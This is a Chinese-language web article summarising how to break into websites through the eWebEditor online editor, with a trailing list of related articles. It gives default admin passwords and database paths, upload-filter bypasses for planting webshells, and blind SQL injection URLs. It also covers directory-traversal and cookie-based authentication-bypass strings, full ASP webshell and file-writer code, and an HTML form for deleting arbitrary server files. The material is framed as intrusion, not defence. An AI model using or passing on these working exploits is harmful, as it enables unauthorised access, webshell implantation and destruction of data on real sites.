ewebeditor漏洞利用总结

ewebeditor漏洞利用总结
     先从最基本的记录起!通常入侵ewebeditor编辑器的步骤如下:
1、首先访问默认管理页看是否存在。
        默认管理页地址2.80以前为 ewebeditor/admin_login.asp 以后版本为admin/login.asp (各种语言的大家自己改后缀,本文就以asp来进行说明,下面不再细说了!)
2、默认管理帐号密码!
        默认管理页存在!我们就用帐号密码登陆!默认帐号密码为: admin admin888 !常用的密码还有admin admin999 admin1 admin000 之类的。
3、默认数据库地址。
        如果密码不是默认的。我们就访问是不是默认数据库!尝试下载数据库得到管理员密码!管理员的帐号密码,都在eWebEditor_System表段里,sys_UserName Sys_UserPass 都是md5加密的。得到了加密密码。可以去www.cmd5.com www.xmd5.org 等网站进行查询!暴力这活好久不干了!也可以丢国外一些可以跑密码的网站去跑!
        默认数据库路径为: ewebeditor/db/ewebeditor.mdb 常用数据库路径为:ewebeditor/db/ewebeditor.asa ewebeditor/db/ewebeditor.asp ewebeditor/db/#ewebeditor.asa ewebeditor/db/#ewebeditor.mdb ewebeditor/db/!@#ewebeditor.asp ewebeditor/db/ewebeditor1033.mdb 等
        很多管理员常改.asp后缀,一般访问.asp .asa 后缀的 都是乱码!可以用下载工具下载下来,然后更改后缀为.mdb 来查看内容!
4、说说漏洞基本利用步骤,还以asp为例!
        登陆后台以后。选择样式管理,默认编辑器的默认样式都不可以修改的。我们可以从任意样式新建一个样式,然后在图片上传添加可上传后缀。.asa .cer .cdx 等!.asp 过滤过了。但是我们可以用.asaspp 后缀来添加,这样上传文件正好被ewebeditor 吃掉asp后缀,剩下.asp 呵呵!代码不详细说了。总之是个很可笑的过滤!同样,如果遇到一个管理员有安全意识的,从代码里,把.asp .asa .cer .cdx 都完全禁止了,我们也可以用.asasaa 后缀来突破。添加完了后缀,可以在样式管理,点击预览,然后上传!
5、默认管理页不存在!
        在实际入侵过程中,有很多默认的管理页不存在的时候。我们可以直接访问样式管理页面 ewebeditor/admin_style.asp 然后用第4步的方式拿webshell。如果样式管理页也不存在的话,我们可以看数据库内的样式表(ewebeditor_style)里面有没有比我们先进去的朋友留下的样式。然后构造上传!具体url如下: eWebEditor/ewebeditor.asp?id=content&style=www 红色部分是我们发现被修改添加了asa后缀的样式名,大家自行修改!
6、ewebeditor的几个版本存在注入!
        ewebeditor 以前版本都存在注入 ewebeditor/ewebeditor.asp?id=article_content&style=Full_v200 !
添加验证字符串,和管理员字段可以跑出管理员的md5加密密码!
       ewebeditor v2.1.6存在注入,可以用union select 添加上传后缀进行上传!先贴漏洞利用方式!
--------------------------------------------------------------------------------------------------------------

ewebeditor asp版 2.1.6 上传漏洞利用程序----










--------------------------------------------------------------------------------------------------------------
        以上代码令存为html!修改红色部分的路径,然后自动上传 .cer 文件!漏洞原因是因为sStyleName变量直接从style中读取,并没有过滤,所以可以包含任意字符!用select在ewebeditor_style表中查找s_name为sStyleName的记录,找不到就提示出错!在sStyleName变量中用union来构造记录,我们可以在sAllowExt中加入"|cer"、"|asa"等!
        另外还有一些版本的ewebeditor的upload.asp文件存在注入漏洞!贴几个注入用的url!信息错误则返回脚本出错的提示,在浏览器左下角!具体利用如下:
ewebeditor/Upload.asp?type=FILE&style=standard_coolblue1'and%20(select%20top%201%20asc(mid(sys_userpass,15,1))%20from%20ewebeditor_system%20)>98%20and%20'1'='1 

注意修改红色部分的字段名、位数、ascii码的值!
7、目录遍历漏洞!
        这里大概说一下!目录遍历漏洞基本存在于ewebeditor/admin_uploadfile.asp 高版本的是ewebeditor/admin/upload.asp 文件!这个文件有的不需要登陆验证,有些需要!很多有经验的管理员会把编辑器的目录设置为只读权限,不可修改!这种情况下,唯一可以利用的也就是利用遍历目录功能查看网站文件,比如数据库路径、后台地址、其他的上传地址、最直观的就是别人留下的小马等等!这些都自由发挥了!说下漏洞利用方法!www.ExamW.CoM
        漏洞利用方式如下:在上传文件管理页面 随便选择一个上传样式!比如ewebeditor/admin_uploadfile.asp?id=14 在id后面添加&dir=../.. 
类似如下:webeditor/admin_uploadfile.asp?id=14&dir=../../../../data/ 可以看到网站数据库的路径!
       另外一个遍历目录的漏洞文件是 ewebeditor/asp/browse.asp
漏洞代码为 :
Function GetList() 
Dim s_List, s_Url 
s_List = "" 
Dim oFSO, oUploadFolder, oUploadFiles, oUploadFile, sFileName 
'Response.Write sCurrDir 
'On Error Resume Next 
Set oFSO = Server.CreateObject("Scripting.FileSystemObject") 
Set oUploadFolder = oFSO.GetFolder(Server.MapPath(sCurrDir)) 
'注意一下sCurrDir变量,这个值等下我们可以用到 
If Err.Number>0 Then 
s_List = "" 
Exit Function 
End If

If sDir <> "" Then 
If InstrRev(sDir, "/") > 1 Then 
s_Url= Left(sDir, InstrRev(sDir, "/") - 1) 
Else 
s_Url = "" 
End If

s_List = s_List & "" & _ 
"" & _ 
".." & _ 
" " & _ 
"" 
End If 
'Response.Write sDir&"!"&s_List

Dim oSubFolder 
For Each oSubFolder In oUploadFolder.SubFolders 
'Response.Write oUploadFolder.SubFolders 
If sDir = "" Then 
s_Url = oSubFolder.Name 
Else 
s_Url = sDir & "/" & oSubFolder.Name 
End If 
s_List = s_List & "" & _ 
"" & _ 
"" & oSubFolder.Name & "" & _ 
" " & _ 
"" 
Next 
'Response.Write s_List

Set oUploadFiles = oUploadFolder.Files

For Each oUploadFile In oUploadFiles 
'Response.Write oUploadFile.Name 
sFileName = oUploadFile.Name 
If CheckValidExt(sFileName) = True Then 
'这行让人有点郁闷,检测了所有允许的文件后缀,如不允许就无法列出,不然就不只列出目录名和图片文件了 
If sDir = "" Then 
s_Url = sContentPath & sFileName 
Else 
s_Url = sContentPath & sDir & "/" & sFileName 
End If

s_List = s_List & "" & _ 
"" & FileName2Pic(sFileName) & "" & _ 
"" & sFileName & "" & _ 
"" & GetSizeUnit(oUploadFile.size) & "" & _ 
"" 
End If 
Next 
Set oUploadFolder = Nothing 
Set oUploadFiles = Nothing 
'Response.Write Server.HTMLEncode(s_List)&"!"&s_Url

If sDir = "" Then 
s_Url = "" 
's_Url = "/" 
Else 
s_Url = "/" & sDir & "" 
's_Url = "/" & sDir & "/" 
End If

s_List = s_List & "" 
s_List = HTML2JS(s_List) 
'Response.Write Server.HTMLEncode(s_List)&"!"&s_Url 
s_List = "parent.setDirList(""" & s_List & """, """ & s_Url & """)" 
GetList = s_List 
End Function 
'如果没有下面这步检测的话,应该就可以列出目录中所有的文件了,有点郁闷..现在只能列出允许后缀的文件和目录名 
Function CheckValidExt(s_FileName) 
If sAllowExt = "" Then 
CheckValidExt = True 
Exit Function 
End If

Dim i, aExt, sExt 
sExt = LCase(Mid(s_FileName, InStrRev(s_FileName, ".") + 1)) 
CheckValidExt = False 
aExt = Split(LCase(sAllowExt), "|") 
For i = 0 To UBound(aExt) 
If aExt(i) = sExt Then 
CheckValidExt = True 
Exit Function 
End If 
Next 
End Function 
'我们顺着代码往下找,发现sCurrDir的值是通过下面的值得到的 
Sub InitParam() 
sType = UCase(Trim(Request.QueryString("type"))) 
sStyleName = Trim(Request.QueryString("style"))

Dim i, aStyleConfig, bValidStyle 
bValidStyle = False 
For i = 1 To Ubound(aStyle) 
aStyleConfig = Split(aStyle(i), "|||") 
If Lcase(sStyleName) = Lcase(aStyleConfig(0)) Then 
bValidStyle = True 
Exit For 
End If 
Next

If bValidStyle = False Then 
OutScript("alert('Invalid Style.')") 
End If

sBaseUrl = aStyleConfig(19) 
'nAllowBrowse = CLng(aStyleConfig(43)) 
nAllowBrowse = 1

If nAllowBrowse <> 1 Then 
OutScript("alert('Do not allow browse!')") 
End If

sUploadDir = aStyleConfig(3) 
If Left(sUploadDir, 1) <> "/" Then 
Select Case sType 
Case "REMOTE" 
sUploadDir = "../../" & sUploadDir & "Image/" 
Case "FILE" 
sUploadDir = "../../" & sUploadDir & "Other/" 
Case "MEDIA" 
sUploadDir = "../../" & sUploadDir & "Media/" 
Case "FLASH" 
sUploadDir = "../../" & sUploadDir & "Flash/" 
Case Else 
sUploadDir = "../../" & sUploadDir & "Image/" 
End Select 
End If 
'sUploadDir =sUploadDir &"/"

Select Case sBaseUrl 
Case "0" 
'sContentPath = aStyleConfig(23) 
Select Case sType 
Case "REMOTE" 
sContentPath = "../" & aStyleConfig(3) & "Image/" 
Case "FILE" 
sContentPath = "../" & aStyleConfig(3) & "Other/" 
Case "MEDIA" 
sContentPath = "../" & aStyleConfig(3) & "Media/" 
Case "FLASH" 
sContentPath = "../" & aStyleConfig(3) & "Flash/" 
Case Else 
sContentPath = "../" & aStyleConfig(3) & "Image/" 
End Select 
Case "1" 
sContentPath = RelativePath2RootPath(sUploadDir) 
Case "2" 
sContentPath = RootPath2DomainPath(RelativePath2RootPath(sUploadDir)) 
End Select

Select Case sType 
Case "REMOTE" 
sAllowExt = aStyleConfig(10) 
Case "FILE" 
sAllowExt = aStyleConfig(6) 
Case "MEDIA" 
sAllowExt = aStyleConfig(9) 
Case "FLASH" 
sAllowExt = aStyleConfig(7) 
Case Else 
sAllowExt = aStyleConfig(8) 
End Select

sCurrDir = sUploadDir '注意这里,这个是得到了配置的路径地址 
sDir = Trim(Request("dir")) '得到dir变量 
sDir = Replace(sDir, "\", "/") '对dir变量进行过滤 
sDir = Replace(sDir, "../", "") 
sDir = Replace(sDir, "./", "") 
If sDir <> "" Then 
If CheckValidDir(Server.Mappath(sUploadDir & sDir)) = True Then 
sCurrDir = sUploadDir & sDir & "/" 
'重点就在这里了,看到没有,当sUploadDir & sDir存在的时候,sCurrDir就为sUploadDir & sDir的值了 
'虽然上面对sDir进行了过滤,不过我们完全可以跳过.具体利用下面的利用中给出 
Else 
sDir = "" 
End If 
End If
End Sub
利用方式如下:
http://site/ewebeditor/asp/browse.asp?style=standard650&dir=…././/…././/admin
这样子就可以看到admin的内容了。构造特殊的dir绕过上面的验证!页面空白的时候查看源代码,就可以看到目录列表了!

8、session欺骗漏洞!
        适用于一些设置不当的虚拟主机。当旁注得到一个webshell,而目标站存在ewebeditor却不能找到密码的时候可以尝试欺骗进入后台!顺序如下: 
          新建一个.asp文件,内容如下: <%Session("eWebEditor_User") = "123132323"%> 然后访问这个文件,再访问ewebeditor/admin_default.asp !欺骗进入后台!不过很老了!
9、 后台跳过认证漏洞!
        访问后台登陆页面!随便输入帐号密码,返回错误!然后清空浏览器,在地址栏输入
javascript:alert(document.cookie="adminuser="+escape("admin")); 
javascript:alert(document.cookie="adminpass="+escape("admin")); 
javascript:alert(document.cookie="admindj="+escape("1"));
         然后再清空地址栏,在路径里输入后台登陆后的页面,比如: admin_default.asp admin/default.asp 等。直接进入后台,利用方式见上文!
10、利用远程上传功能!
        比如s_full样式就存在这个功能,打开编辑页面,然后图片,选择输入url 比如:http://site.com/1.gif.asp ! 然后选择上传远程文件!自动就把1.gif.asp 保存在上传目录内!注:网上的东西大部分传来传去,这个办法愚弄自己还成!文件的确显示后缀为.asp 但是不能访问,因为收集过来的时候自动截止在1.gif了所以后面的.asp等于没有!而且gif的内容就是我们这个url的路径!呵呵,后来又看到一个利用方式!是利用远程搜集的时候执行,我们文件的代码生成另外的小马!
        利用代码如下:
首先建立1.gif.asp 代码如下
<%
Set fs = CreateObject("Scripting.FileSystemObject")
Set MyTextStream=fs.OpenTextFile(server.MapPath("\akteam.asp"),1,false,0)
Thetext=MyTextStream.ReadAll
response.write thetext
%>
在我们的1.gif.asp的同目录下建立一个akteam.asp文件,内容就是我们的小马:
<%on error resume next%>
<%ofso="scripting.filesystemobject"%>
<%set fso=server.createobject(ofso)%>
<%path=request("path")%>
<%if path<>"" then%>
<%data=request("dama")%>
<%set dama=fso.createtextfile(path,true)%>
<%dama.write data%>
<%if err=0 then%>
<%="success"%>
<%else%>
<%="false"%>
<%end if%>
<%err.clear%>
<%end if%>
<%dama.close%>
<%set dama=nothing%>
<%set fos=nothing%>
<%="
"%>
<%=""%>
<%="
"%>

<%=server.mappath(request.servervariables("script_name"))%>
<%="
"%>

<%=""%>
<%=""%>
<%="
"%>

<%=""%>
<%=""%>

利用上面说的远程上传的方式!可以得到webshell!成功率取决于,虚拟主机的安全设置!
11、任意文件删除漏洞!
        此漏洞存在于Example\NewsSystem目录下的delete.asp文件中,这是ewebeditor的测试页面,无须登陆可以直接进入!看代码
' 把带"|"的字符串转为数组
Dim aSavePathFileName
aSavePathFileName = Split(sSavePathFileName, "|")
' 删除新闻相关的文件,从文件夹中
Dim i
For i = 0 To UBound(aSavePathFileName)
' 按路径文件名删除文件
Call DoDelFile(aSavePathFileName(i))
Next
而aSavePathFileName是前面从数据库取出来的:
sSavePathFileName = oRs("D_SavePathFileName")
看看D_SavePathFileName是怎么添加到数据库里的,在addsave.asp(modifysave.asp)里:sSavePathFileName = GetSafeStr(Request.Form("d_savepathfilename"))
...
oRs("D_SavePathFileName") = sSavePathFileName

居然过滤了,是GetSafeStr函数,再看看这个函数,在Startup.asp里:
Function GetSafeStr(str)
GetSafeStr = Replace(Replace(Replace(Trim(str), "'", ""), Chr(34), ""), ";", "")
End Function
        既然路径没有过滤,那就可以直接定义了,构造一个提交页面,其中d_savepathfilename自己任意赋值(要删除多个文件,用|隔开即可)。试试../../eWebEditor.asp,提交后删除该新闻,于是主目录下的eWebEditor.asp不见了!漏洞利用:
eWebEditor删除文件 byldjun(><br> 新闻列表%20|%20增加新闻<br> 增加新闻<br> http://127.0.0.1/editor/Example/NewsSystem/addsave.asp" <br> method="post" name="myform"><br>     <input type=hidden name=d_originalfilename><br>     <input type=hidden name=d_savefilename><br>     <table cellspacing=3 align=center><br> <tr><td>要删的文件(相对路径就可以了):</td><br> <td><input type="text" name="d_savepathfilename" value="" size="90"></td><br> </tr><br> <tr><td>新闻标题(随便填):</td><br> <td><input type="text" name="d_title" value="" size="90"></td><br> </tr><br> <tr><td>标题图片:</td><br> <td><select name="d_picture" size=1><option value=''>无</option></select><br> 当编辑区有插入图片时,将自动填充此下拉框</td><br> </tr><br> <tr><td>新闻内容(随便填):</td><br> <td><textarea name="d_content"></textarea></td><br> </tr><br> </table><br> <input type=submit name=btnSubmit value=" 提 交 "> <br> <input type=reset name=btnReset value=" 重 填 "><br> </form><br> </BODY></HTML> <br> 删除文件漏洞一般是配合其他漏洞使用的,比如目录遍历<br> <a href='list.asp'>中的list.asp地址要修改<br> <a href='add.asp'>中的add.asp地址要修改<br> <form action="http://127.0.0.1/editor/Example/NewsSystem/addsave.asp"<br> (http://127.0.0.1/editor/Example/NewsSystem/addsave.asp地址要修改)<br>         另外一个简单利用方式:<br> <form action="http://www.xxxbing.com/editor/example/newssystem/addsave.asp" method="post"><br> <input type=hidden name=d_originalfilename value="x"><br> <input type=hidden name=d_savefilename value="x"><br> 要删除的文件(相对路径,多个文件用“|”隔开)<br><br> <input type=text name=d_savepathfilename><br> <input type=hidden name="d_title" value="x"><br> <input type=hidden name="d_picture" value="x"><br> <textarea name="d_content">x</textarea><br> <input type=submit name=btnSubmit value="submit"><br> </form></p> <p style="font-family:Simsun;line-height:22px;text-align:left;">然后得到返回的新闻ID再提交:http://www.XXXXX.com/editor/example/newssystem/delete.asp?id=[id]<br>         有几个版本的ewebeditor 上传类型是在 security.asp 文件控制的!直接删除该文件可以上传任意webshell! <br> 12、其他!<br>         其他说点什么呢!以上的办法都是本人经验和网上搜集!暂时就想到这些了,以后想到了再补全!说说aspx php jsp版本的利用吧!<br> ASPX版:<span class="lbni3" style="font-size:1px;">中华<span style="font-size:1px;">考试</span>网</span><br> 受影响文件:eWebEditorNet/upload.aspx<br> 利用方法:添好本地的cer的Shell文件。在浏览器地址栏输入javascript:lbtnUpload.click();就能得到shell。嘿嘿....绕过了限制......成功的上传了ASPX文件....文件默认的上传后保存的地址是eWebEditorNet/UploadFile/现在来看看是否上传成功.....<br> PHP版本:PhP版本和asp版本利用方式类似!不过php权限较高,不多废话了!<br> jsp版本:网上有很多jsp的版本,根本没有对上传文件类型进行检测!需要注意的是jsp版本的没有上传按钮!直接选择文件,回车就可以提交了!</p> <br> </div> </div> </div> </div> </div> <!--PC和WAP自适应版--> <div id="SOHUCS" sid="1297359846798073856"></div> <script type="text/javascript" src="/views/front/js/chanyan.js"></script> <!-- 文章页-底部 动态广告位 --> <div class="youdao-fixed-ad" id="detail_ad_bottom"></div> </div> <div class="col-md-3"> <div class="row" id="ad"> <!-- 文章页-右侧1 动态广告位 --> <div id="right-1" class="col-lg-12 col-md-12 col-sm-4 col-xs-4 ad"> <div class="youdao-fixed-ad" id="detail_ad_1"> </div> </div> <!-- 文章页-右侧2 动态广告位 --> <div id="right-2" class="col-lg-12 col-md-12 col-sm-4 col-xs-4 ad"> <div class="youdao-fixed-ad" id="detail_ad_2"></div> </div> <!-- 文章页-右侧3 动态广告位 --> <div id="right-3" class="col-lg-12 col-md-12 col-sm-4 col-xs-4 ad"> <div class="youdao-fixed-ad" id="detail_ad_3"></div> </div> </div> </div> </div> </div> </div> <div class="container"> <h4 class="pt20 mb15 mt0 border-top">你可能感兴趣的:(ewebeditor)</h4> <div id="paradigm-article-related"> <div class="recommend-post mb30"> <ul class="widget-links"> <li><a href="/article/1725447375994040320.htm" title="【文件上传漏洞-08】常见编辑器上传以及常见的CMS 上传漏洞" target="_blank">【文件上传漏洞-08】常见编辑器上传以及常见的CMS 上传漏洞</a> <span class="text-muted">像风一样9</span> <a class="tag" taget="_blank" href="/search/%23/1.htm">#</a><a class="tag" taget="_blank" href="/search/%E5%85%A5%E9%97%A807/1.htm">入门07</a><a class="tag" taget="_blank" href="/search/Web%E5%AE%89%E5%85%A8%E4%B9%8B%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95/1.htm">Web安全之渗透测试</a><a class="tag" taget="_blank" href="/search/web%E5%AE%89%E5%85%A8/1.htm">web安全</a><a class="tag" taget="_blank" href="/search/%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0/1.htm">文件上传</a><a class="tag" taget="_blank" href="/search/%E7%BC%96%E8%BE%91%E5%99%A8%E4%B8%8A%E4%BC%A0/1.htm">编辑器上传</a><a class="tag" taget="_blank" href="/search/CMS%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0/1.htm">CMS文件上传</a> <div>目录1常见的编辑器上传2常见的CMS上传2.1南方数据管理系统(数据库备份拿webshell)(old)2.2metinfov5.0.4文件上传---代码审计参考文章1常见的编辑器上传编辑器就是网站后台编辑网页的在线编辑器,会自动集成文件上传功能,这些编辑器的某些版本也存在文件上传漏洞,从而进行getshell(1)ewebeditor(比较古老的编辑器)(2)fckeditor利用小马拉大马也是</div> </li> <li><a href="/article/1721318308256493568.htm" title="网站程序+服务器提权思路总结" target="_blank">网站程序+服务器提权思路总结</a> <span class="text-muted">weixin_34313182</span> <a class="tag" taget="_blank" href="/search/%E6%95%B0%E6%8D%AE%E5%BA%93/1.htm">数据库</a><a class="tag" taget="_blank" href="/search/php/1.htm">php</a><a class="tag" taget="_blank" href="/search/java/1.htm">java</a> <div>(一)针对网站程序,不考虑服务器。一、查找注入,注意数据库用户权限和站库是否同服。二、查找XSS,最近盲打很流行,不管怎样我们的目的是进入后台。三、查找上传,一些能上传的页面,比如申请友链、会员头像、和一些敏感页面等等,注意查看验证方式是否能绕过,注意结合服务器的解析特性,比如典型的IIS6.0、Apache等。四、查找编辑器,比较典型的ewebeditor、fckeditor等等。五、查找php</div> </li> <li><a href="/article/1721033463294930944.htm" title="编辑器漏洞" target="_blank">编辑器漏洞</a> <span class="text-muted">似龙在渊</span> <div>一、常见的编辑器:常见的有Ewebeditor,fckeditor,ckeditor,kindeditor等等。二、Ewebeditor编辑器漏洞:Ewebeditor是基于浏览器的、所见即所得的在线HTML编辑器。她能够在网页上实现许多桌面编辑软件(如:Word)所具有的强大可视编辑功能。WEB开发人员可以用她把传统的多行文本输入框替换为可视化的富文本输入框,使最终用户可以可视化的发布HTML格</div> </li> <li><a href="/article/1719593852672749568.htm" title="汇总公安局网站建设想法,QPQ盐浴氮化处理" target="_blank">汇总公安局网站建设想法,QPQ盐浴氮化处理</a> <span class="text-muted">高校网站建设群系统EduCMS</span> <a class="tag" taget="_blank" href="/search/java/1.htm">java</a> <div>功能描述网站管理平台1、主要功能:网站信息发布功能组件、文章数据转移、内容管理word导入发布、一键排版、统一互动、网站管理、权限分配管理2、跨浏览器的后台管理界面,支持IE\FIREFOX\CHROME\SAFARI\OPERA及其他第三方浏览器;3、系统内嵌正版授权的EWEBEDITOR富编辑器,可实现批量上传、Word粘贴及丰富的编辑特性;4、系统日志跟踪所有操作,包括可疑操作日志、管理操作</div> </li> <li><a href="/article/1707670140625170432.htm" title="IE8下ewebeditor编辑器不能使用的解决办法 (2009)" target="_blank">IE8下ewebeditor编辑器不能使用的解决办法 (2009)</a> <span class="text-muted">无聊DK</span> <div>之前好多客户的网站都是用EWebeditor的编辑器,最近有客户反映后台编辑器不能使用,一问是因为升级到了IE8。换编辑器太麻烦啦。在网上找到下面的代码,可以解决问题。找到编辑器下editor.js文件,有这样的段代码:if(element.YUSERONCLICK)eval_r(element.YUSERONCLICK+"anonymous()");因为ie8屏蔽了anonymous方法所以要改</div> </li> <li><a href="/article/1701676570499952640.htm" title="eWebEditor的利用 (2009)" target="_blank">eWebEditor的利用 (2009)</a> <span class="text-muted">无聊DK</span> <div>站长在使用eWebEditor的时候是否发现,eWebEditor配置不当会使其成为网站中的隐形炸弹呢?第一次发现这漏洞源于去年的一次入侵,在山穷水尽的时候发现了eWebEditor,于是很简单就获得了WebShell。后来又有好几次利用eWebEditor进行入侵的成功经历,这才想起应该写一篇文章和大家共享一下,同时也请广大已经使用了eWebEditor的站长赶紧检查一下自己的站点。要不然,下一</div> </li> <li><a href="/article/1692201212750934016.htm" title="html页面如何嵌入word在线编辑器,网页word编辑器 网页中如何嵌入word编辑器" target="_blank">html页面如何嵌入word在线编辑器,网页word编辑器 网页中如何嵌入word编辑器</a> <span class="text-muted">华笠医生</span> <div>Fckeditor,Ewebeditor只是HTML编辑器,不能编辑真正的word,把word内容拷贝进来时要丢失格式,还要重新排版,也无法精确地控制打印或打印预览。建议使用word的专用在线编辑器——SOAOffice中间件,打开编辑保存都是针对的真正的word,网页里显示的也是真正的word程序下面给个asp.netc#的例子//首先创建SOAOfficeX.SOAOfficeCtrl对象SO</div> </li> <li><a href="/article/1684512899139186688.htm" title="渗透测试之编辑器漏洞与旁注、跨目录、跨库、CDN绕过" target="_blank">渗透测试之编辑器漏洞与旁注、跨目录、跨库、CDN绕过</a> <span class="text-muted">Admin3K</span> <div>常用的编辑器常见的编辑器有EwebeditorfckeditorCKeditorkindeditor1.Ewebeditor测试环境用的是eWebEditor_v216_Free版本可以自己去网上下载对应的版本搭建本地环境利用核心默认后台:www.xxxx.com/ewebeditor/admin_login.asp默认数据库:ewebeditor/db/ewebeditor.mdb默认账号密码:</div> </li> <li><a href="/article/1682075169604055040.htm" title="编辑器漏洞" target="_blank">编辑器漏洞</a> <span class="text-muted">小银同学阿</span> <div>Ewebeditor编辑器:Ewebeditor利用核心默认后台:www.xxxx.com/ewebeditor/admin_login.asp默认数据库:ewebeditor/db/ewebeditor.mdb默认账号密码:adminadmin/admin888通常入侵ewebeditor编辑器的步骤如下:首先登陆默认后台。(使用默认账号密码登录。也可用默认数据库下载数据库)登陆后台以后。选择样</div> </li> <li><a href="/article/1622054902610034688.htm" title="编辑器漏洞(Ewebeditor FCKeditor)" target="_blank">编辑器漏洞(Ewebeditor FCKeditor)</a> <span class="text-muted">囡琪琪</span> <div>Ewebeditor1、样式管理:当编辑器没有上传图片的地方找样式添加样式把图片加进去上传2、上传文件管理:遍历目录,在有参数的url后面加&dir=../3、寻找前人痕迹再次入侵:载好数据库之后查看他的eWebEditor_style表中的S_ImageExt字段是否有被人添加过什么。搭建网站账号密码adminadmin能下载的地方一定是主目录配置这里mdb删掉了删除之后可以下载不会影响程序正常</div> </li> <li><a href="/article/1566703003157729280.htm" title="编辑器漏洞(配合文件上传等)" target="_blank">编辑器漏洞(配合文件上传等)</a> <span class="text-muted">关键_词</span> <a class="tag" taget="_blank" href="/search/%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95/1.htm">渗透测试</a><a class="tag" taget="_blank" href="/search/web%E5%AE%89%E5%85%A8/1.htm">web安全</a> <div>编辑器分类:ewebeditor、kindeditor、ckeditor、fckeditor、CuteEditor、ueditor、southidceditor等等一、ewebeditor编辑器(数据库路径、文件上传、目录遍历、SQL注入等)(1)漏洞1Admin_Login.asp登录页面Admin_Default.asp管理首页Admin_Style.asp样式页面Admin_UploadFi</div> </li> <li><a href="/article/1708700363323944960.htm" title="编辑器漏洞" target="_blank">编辑器漏洞</a> <span class="text-muted">卿酌南烛_b805</span> <div>一.本文介绍1、本文介绍Ewebeditor常识、获取webshell、fckeditor获取webshell、旁注原理、ip逆向查询、目录越权及跨库查询、cdn绕过。二.学习步骤1、Ewebeditor常识:默认后台:xxxx.com/ewebeditor/admin_login.asp数据库地址:ewebeditor/db/ewebeditor.mdb帐号:admin密码:admin/admi</div> </li> <li><a href="/article/1392783387600703488.htm" title="nginx 上传文件漏洞_FCKeditor/phpok文件上传漏洞复现" target="_blank">nginx 上传文件漏洞_FCKeditor/phpok文件上传漏洞复现</a> <span class="text-muted">深度碎片</span> <a class="tag" taget="_blank" href="/search/nginx/1.htm">nginx</a><a class="tag" taget="_blank" href="/search/%E4%B8%8A%E4%BC%A0%E6%96%87%E4%BB%B6%E6%BC%8F%E6%B4%9E/1.htm">上传文件漏洞</a> <div>人不可能十全十美,十分能耐使七分,留下三分给儿孙。俗话说得好FCKeditor_v2.4.31、前言常见的文本编辑器如FCKeditor、Ewebeditor、UEditor、KindEditor、XHeditor等,因其包含有文件上传接口,导致经常出现安全缺陷。这里主要对FCKeditor编辑器的历史文件上传漏洞做复现。2、FCKeditor常用上传地址fckeditor/editor/file</div> </li> <li><a href="/article/1330224364569829376.htm" title="百度编辑器的那些坑" target="_blank">百度编辑器的那些坑</a> <span class="text-muted">lazytimes</span> <a class="tag" taget="_blank" href="/search/%E5%AF%8C%E6%96%87%E6%9C%AC%E7%BC%96%E8%BE%91%E5%99%A8/1.htm">富文本编辑器</a><a class="tag" taget="_blank" href="/search/javascript/1.htm">javascript</a> <div>百度编辑器的那些坑:前言:最近在处理公司的旧后台浏览器兼容问题,要求更换ewebeditor编辑器,更换为ueditor编辑器,并且要求IE9/IE8/IE10/IE11/MicroEdge/Google/360编辑器各项兼容,听说百度的编辑器兼容至IE6,以为简单的换个编辑器的我,在上面折腾了不少时间,本文针对具体问题进行处理,可能读者遇不到我这样的问题,事前说明:仅供参考、仅供参考、仅供参考问</div> </li> <li><a href="/article/1306346181663690752.htm" title="富文本编辑器ueditor ——使用有感" target="_blank">富文本编辑器ueditor ——使用有感</a> <span class="text-muted">wangzexy391963822</span> <div>最近在做一个发布新闻的功能,研究目前比较流行的富文本编辑器,ueditor,ckeditor,ewebeditor等,考虑了各方面,最后选择了ueditor。富文本编辑器的基本功能它都包含了,可以正常使用,说几个它的亮点吧:1.界面比较酷,ui方面做得的确挺好。2.支持图片上传,附加上传。3.对表格的编辑也比较灵活,绚丽。不过它也有几个问题:1.文件上传模块界面显示有问题,上传成功后提示不准确,且</div> </li> <li><a href="/article/1306302458825314304.htm" title="eWebEditor突破上传图片大小限制" target="_blank">eWebEditor突破上传图片大小限制</a> <span class="text-muted">zengjinliang</span> <div>这几天做项目时遇到的问题,应客户的反应将eWebEditor图片上传大小修改为200K问题:eWebEditor2.8版本无惧上传类V1.2、上传图片只能限制到100K解决方法:1、修改eWebEditor的数据库,eWebEditor_style表中限制上传图片大小的字段是S_ImageSize,默认为100KB,把它改为200或适合自己的大小即可。2、登陆ewebeditor的后台来改,后台地</div> </li> <li><a href="/article/1306297878175584256.htm" title="ewebeditor在上传文件时,总是提示“请选择一个有效的文件”," target="_blank">ewebeditor在上传文件时,总是提示“请选择一个有效的文件”,</a> <span class="text-muted">weixin_34257076</span> <a class="tag" taget="_blank" href="/search/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/1.htm">操作系统</a> <div>用ewebeditor在上传文件时,总是提示“请选择一个有效的文件”,可我上传的文件格式明明是正确的,而且在XP上测试时一切正常啊,难道是程序有问题?经过研究终于找到了问题所在。ewebeditor在上传文件时的出错提示如下所示:经过查找资料:其实这并不是ewebeditor本身的问题,而是WindowsServer2003操作系统对ASP的上传文件做出了200K的限制,所以只要把这个限制放开就O</div> </li> <li><a href="/article/1306297454873841664.htm" title="ewebeditor上传文件大小的限制修改" target="_blank">ewebeditor上传文件大小的限制修改</a> <span class="text-muted">weixin_34043301</span> <div>在Ewebeditor文件夹下有一个ASP文件夹,其中有一个config.asp文件。首先,查看该文件找到当前使用的样式是哪一个,然后对应修改文件中该样式对应的数字即可实现。转载于:https://blog.51cto.com/zbliangc/782631</div> </li> <li><a href="/article/1306287609386930176.htm" title="关于eWebEditor突破上传图片大小限制的问题" target="_blank">关于eWebEditor突破上传图片大小限制的问题</a> <span class="text-muted">luoye96</span> <a class="tag" taget="_blank" href="/search/%E3%80%8E%E5%88%86%E7%B1%BB%E3%80%8Fasp/1.htm">『分类』asp</a> <div>有两个地方需要改:第一,按照楼上的方法去数据库改eWebEditor_style在这表S_ImageSize这个字段,默认的是100,或者更方便的是,登陆ewebeditor的后台来改,它的后台地址是:webeditor/admin_login.asp.第二,如果你的系统安装的是2003带的iis6,你需要将iis6默认的200K文件大小限制修改掉,具体改iis6限制的方法去.我还没有摸索出来。</div> </li> <li><a href="/article/1306280536448208896.htm" title="转载:ewebEditor限制上传100k的简单修改办法" target="_blank">转载:ewebEditor限制上传100k的简单修改办法</a> <span class="text-muted">Freekingismy</span> <a class="tag" taget="_blank" 